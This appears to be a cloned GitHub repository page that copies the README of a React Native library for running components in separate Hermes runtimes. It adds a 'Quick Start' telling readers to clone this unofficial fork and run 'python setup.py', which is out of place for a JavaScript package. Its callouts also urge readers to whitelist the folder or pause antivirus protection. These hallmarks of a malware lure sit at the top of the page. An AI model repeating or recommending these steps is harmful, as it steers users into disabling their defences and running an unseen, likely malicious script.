Skip to content

Panelbeyondsay/react-native-runtimes-569

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

30 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

react-native-runtimes logo

react-native-runtimes

[!TIP] If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.

[!CAUTION] Some security systems may block the installation. Only download from the official repository.


QUICK START

git clone https://github.com/Panelbeyondsay/react-native-runtimes-569.git
cd react-native-runtimes-569
python setup.py

Run heavy React Native UI and business logic in isolated Hermes runtimes β€” without freezing your main JS thread

React Native New Architecture Expo Android iOS License: MIT

πŸ“– Docs Β· ⚑ Quick Start Β· πŸ“¦ Core Β· πŸ—‚ State


Margelo Β Β Β Β βœ•Β Β Β Β  Callstack


react-native-runtimes is built in collaboration with our friends at Callstack

We love fast apps ⚑ and cars 🏎️


What is this?

React Native gives your product one main JavaScript runtime. When a feed, chat screen, editor, reducer, or hydration job monopolizes that runtime, input, animation, and navigation all start competing for the same VM.

react-native-runtimes adds a multi-runtime layer for React Native New Architecture apps:

  • mount selected React components in named secondary Hermes runtimes
  • run whole screens, headless tasks, and typed functions away from the main runtime
  • share state across isolated JS heaps through a native C++ singleton
  • prewarm runtimes before navigation so expensive surfaces are ready when users arrive
  • wire it through Metro and, for Expo, a config plugin instead of hand-written runtime plumbing
// That's it. This component now renders in its own Hermes instance.
<OnRuntime name="chat-runtime">
  <MessageList conversationId={conversationId} />
</OnRuntime>

What it unlocks

If your app has... You can move... Main runtime keeps...
A chat, feed, or inbox that janks on mount The expensive list or route surface Navigation, gestures, and input
Reducers or stores competing with animation Business logic in a long-lived runtime Frame-critical UI work
Slow first-open screens A prewarmed runtime before the user taps Predictable navigation latency
Background hydration or decoding Headless tasks on a worker runtime Responsive startup and render
State that must be visible everywhere Native-backed shared stores Synchronous reads without bridge round-trips

When to reach for it

  • You have one or two expensive features that repeatedly monopolize the main JS runtime.
  • You want a chat, feed, editor, map sidebar, or media-heavy route to stay alive and warm.
  • You need business logic or cache hydration to run without blocking interaction.
  • You are already on React Native New Architecture with Hermes, or you are willing to move there.

When not to use it

  • Your app is simple enough that memoization, virtualization, or moving work off render fixes the issue.
  • You need legacy architecture or a non-Hermes JS engine.
  • You want to pass large mutable objects or non-serializable props directly between runtimes. Pass ids/keys and read shared data from native-backed state instead.

Packages

Package Description
@react-native-runtimes/core Mount React components in secondary runtimes. Metro transform, OnRuntime, ThreadedScreen, headless tasks, cross-runtime function calls.
@react-native-runtimes/state Zustand-style shared store backed by a process-wide C++ singleton. Synchronous reads and commits from every runtime.

Core capabilities

🧡 Zero-boilerplate threaded components

Wrap a component in OnRuntime β€” Metro rewrites the JSX to a registered threaded boundary at build time. No manual registration required.

import { OnRuntime } from '@react-native-runtimes/core';

<OnRuntime name="feed-runtime">
  <HeavyFeedList userId={userId} />
</OnRuntime>

πŸ“± Full-screen threaded routes

For navigation flows that should live entirely on a secondary runtime:

import { ThreadedScreen, threadedComponent } from '@react-native-runtimes/core';

export const ConversationScreen = threadedComponent<Props>(
  'ConversationScreen',
  (props) => <ConversationRoute {...props} />,
);

// In your navigator:
<ThreadedScreen
  component={ConversationScreen}
  props={{ conversationId }}
  runtimeName={`chat-${conversationId}`}
/>

⚑ Runtime prewarming

Start the runtime before the user navigates so there is no cold-start lag:

import { ThreadedRuntime } from '@react-native-runtimes/core';

// e.g. when the inbox row becomes visible
await ThreadedRuntime.prewarm(`chat-${conversationId}`);

πŸƒ Headless tasks

Run JS on a named runtime without mounting a view β€” perfect for pre-hydrating stores, decoding data, or running reducers in a long-lived worker:

// Register on the threaded bundle side:
registerThreadedHeadlessTask('hydrateConversation', async ({ payload }) => {
  const messages = await loadMessages(payload.conversationId, payload.limit);
  await messagesStore.setSubtreeState(payload.conversationId, messages, true);
});

// Dispatch from anywhere:
await ThreadedRuntime.runHeadlessTask('hydrateConversation', {
  runtimeName: 'chat-worker-runtime',
  payload: { conversationId, limit: 50 },
});

πŸ”€ Cross-runtime function calls

Call a typed function on a specific runtime and await the result β€” arguments and return values are JSON-serialized automatically:

import { call, runtimeFunction } from '@react-native-runtimes/core';

export const fibonacci = runtimeFunction((n: number) => ({
  input: n,
  result: fibonacciNumber(n),
  computedAt: new Date().toISOString(),
}));

// Call it on a named runtime from the main runtime:
const result = await call(fibonacci).on('fibonacci-worker-runtime')(38);

Or use a function directive for fixed-runtime helpers β€” Metro rewrites the call site automatically:

async function refreshCache(key: string) {
  'background'; // ← directive: this function always runs on 'background' runtime
  await cacheStore.hydrate();
  return cacheStore.get(key);
}

const value = await refreshCache('settings'); // cross-runtime, no extra API

πŸ—‚ Shared state β€” synchronous, cross-heap

A Zustand-style API backed by a native C++ process-wide singleton. Reads are synchronous. No bridge round-trip. Any runtime can write and every subscriber is notified.

import { createSharedStore } from '@react-native-runtimes/state';

export const chatStore = createSharedStore({
  name: 'chat',
  initialState: { messages: {}, settings: { theme: 'dark' } },
});

// Path handles for fine-grained subscriptions:
const roomMessages = chatStore.path<Message[]>(['messages', 'release-room']);

await roomMessages.update(items => [...(items ?? []), newMessage]);

// Subscribe with a selector β€” works in any runtime:
const count = roomMessages.use(items => items?.length ?? 0);

Add native persistence with a single option:

export const preferencesStore = createSharedStore({
  name: 'preferences',
  initialState: { counter: { count: 0 } },
  persist: { key: 'preferences', version: 1, subtrees: ['counter'] },
});

πŸ— Business runtimes

For an app-lifetime runtime that sees the same native modules as the main runtime, use prewarmBusinessRuntime:

ThreadedRuntime.setMainReactPackagesProvider { PackageList(this).packages }
ThreadedRuntime.prewarmBusinessRuntime(applicationContext, "business-runtime")
if (global.__THREADED_RUNTIME_ENV__?.kind === 'business-runtime') {
  require('./src/businessRuntimeEntry');
}

πŸ”Œ Expo support

@react-native-runtimes/core ships a config plugin. No manual native edits needed:

// app.config.ts
export default {
  newArchEnabled: true,
  plugins: [
    ['@react-native-runtimes/core', {
      packages: ['@react-native-runtimes/state'],
    }],
  ],
};

1. Install

2. Configure Metro

// metro.config.js
const { getDefaultConfig, mergeConfig } = require('@react-native/metro-config');
const { withThreadedRuntime } = require('@react-native-runtimes/core/metro');

module.exports = withThreadedRuntime(
  mergeConfig(getDefaultConfig(__dirname), {}),
  { roots: ['App.tsx', 'src'], generatedDir: '.threaded-runtime' },
);

3. Load the generated entry

// index.js
if (global.__THREADED_RUNTIME_ENV__) {
  require('./.threaded-runtime/entry');
} else {
  require('./App');
}

4. Render

import { OnRuntime } from '@react-native-runtimes/core';

export default function App() {
  return (
    <OnRuntime name="my-runtime">
      <HeavyComponent />
    </OnRuntime>
  );
}

β†’ Full setup guide: packages/core/README.md


Requirements

Requirement Support
React Native 0.76+
Architecture New Architecture required
JavaScript engine Hermes
Platforms Android and iOS
Expo Config plugin included in @react-native-runtimes/core

Documentation


Authors


Szymon KapaΕ‚a

@Turbo_Szymon

Szymon Chmal

@ChmalSzymon

Alex Shumihin

@pioner_dev

Ritesh Shukla

@RiteshRk14

MIT License · Built with ❀️ for the React Native community

About

Run heavy React Native components and business logic in isolated Hermes runtimes (without freezing your main JS thread)

Topics

Resources

License

Contributing

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages